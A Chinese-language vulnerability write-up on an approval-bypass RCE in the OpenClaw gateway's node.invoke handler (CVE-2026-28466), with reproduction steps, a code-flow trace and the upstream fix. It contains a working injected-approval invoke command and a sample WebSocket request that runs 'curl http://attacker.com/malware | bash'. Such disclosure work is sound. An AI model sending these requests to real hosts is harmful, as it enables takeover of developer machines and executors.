文章总结: 该文档详细分析了CVE-2026-28466漏洞,OpenClaw在2026.2.14之前版本中node.invoke参数未净化内部批准字段,导致拥有网关凭证的攻击者可注入approved等字段绕过批准门禁实现RCE。文章提供了完整复现步骤、WebSocket请求分析、代码流程追踪以及修复方案,包括参数清洗、审批ID设备绑定和决策降级等措施。 综合评分: 88 文章分类: 漏洞分析,漏洞POC,WEB安全,渗透测试
CVE-2026-28466:OpenClaw节点调用批准绕过的RCE精解
Tu0ling Tu0ling
蚁景网安
2026年3月26日 16:30 湖南
漏洞描述
2026.2.14 之前的 OpenClaw 版本在网关中存在一个漏洞,无法净化 node.invoke 参数中的内部批准字段,使得经过认证的客户端绕过执行审核对 system.run 命令的批准门禁。拥有有效网关凭证的攻击者可以注入批准控制字段,在连接的节点主机上执行任意命令,可能攻破开发者工作站和配置执行器
img
漏洞影响
评分:9.9
影响:<2026.2.14
漏洞复现
在项目根目录下安装依赖
npm install
接下来启动网关
set OPENCLAW_SKIP_CHANNELS=1 && set CLAWDBOT_SKIP_CHANNELS=1 && node scripts/run-node.mjs --dev gateway --token test123
img
然后再新开一个终端当做节点
set OPENCLAW_GATEWAY_URL=ws://127.0.0.1:18789 && set OPENCLAW_GATEWAY_TOKEN=test123 && node scripts/run-node.mjs node run --dev
注意:记得打开18789端口,因为该项目默认使用该端口
img
最后漏洞复现
node scripts/run-node.mjs nodes invoke --node 4552da5fa6b27f12d47cb0a73e7d58613ed4d960bf245dca2919591edd8b6b73 --command "system.run" --params "{\"command\":[\"cmd.exe\",\"/c\",\"whoami\"],\"approved\":true}"
img
由于该漏洞使用的前提是已经获取了认证网关客户端的用户,因此我直接进行了漏洞的验证,跳过了身份认证的步骤
漏洞分析
恶意WebSocket请求
{
"id": "attack-001",
"method": "node.invoke",
"params": {
"nodeId": "victim-node-01",
"command": "system.run",
"params": {
"command": ["bash", "-c", "curl http://attacker.com/malware | bash"],
"rawCommand": "curl http://attacker.com/malware | bash",
"approved": true,
"approvalDecision": "allow-always",
"runId": "fake-approval-id"
},
"idempotencyKey": "malicious-001"
}
}
后端接收调用
img
接收websocket连接,生成唯一连接的ID,调用attachGatewayWsMessageHandler来处理后续消息
其中extraHandlers传递 node.invoke字符串
img
extraHandlers指向GatewayRequestHandlers
img
在GatewayRequestHandlers中进行字符串到处理器的映射
继续看attachGatewayWsMessageHandler
img
这里进行了身份验证,连接信息记录,节点注册,以及查找extraHandlers传递的字符串所对应的处理器并调用
调用处理器之前会进行AJV编译验证器
img
params是Type.Unknown() ,不检查内部结构,使得我们的注入成功通过验证
进入node.invoke 处理器
img
进行字段是否存在的检查
img
params是我们可控制的参数对象
img
这里进行命令权限检查,而system.run通常在允许列表中
img
没有任何代码检查或过滤 p.params 中的内容,这就使得注入的字段原样保留传递给节点注册表
img
节点注册表将我们的注入进行JSON序列化后发送给目标节点
img
节点解析payload
img
在这里进行处理调用
img
从JSON字符串还原注入的参数
img
在这里开始执行我们的命令,存在主要前提:检查 approved ===true或approvalDecision 是否存在
approvalDecision === “allow-always”,添加到永久允许列表
有一个就执行我们的命令
"approved": true,
"approvalDecision": "allow-always",
而在我们的注入中带有该参数,这就使得RCE能够执行并返回响应
漏洞修复
img
新增 sanitizeNodeInvokeParamsForForwarding 函数清洗参数,只允许白名单字段;审批ID必须与请求设备绑定,防止跨设备重放;审批决策强制降级为 allow-once,拒绝任意字段注入
参考
https://github.com/openclaw/openclaw/security/advisories/GHSA-gv46-4xfq-jv58
https://github.com/openclaw/openclaw/commit/0af76f5f0e93540efbdf054895216c398692afcd
本文转载自:先知社区 作者:Tu0ling
学习网安实战课程,戳“阅读原文”
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:蚁景网安 Tu0ling Tu0ling《CVE-2026-28466:OpenClaw节点调用批准绕过的RCE精解》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论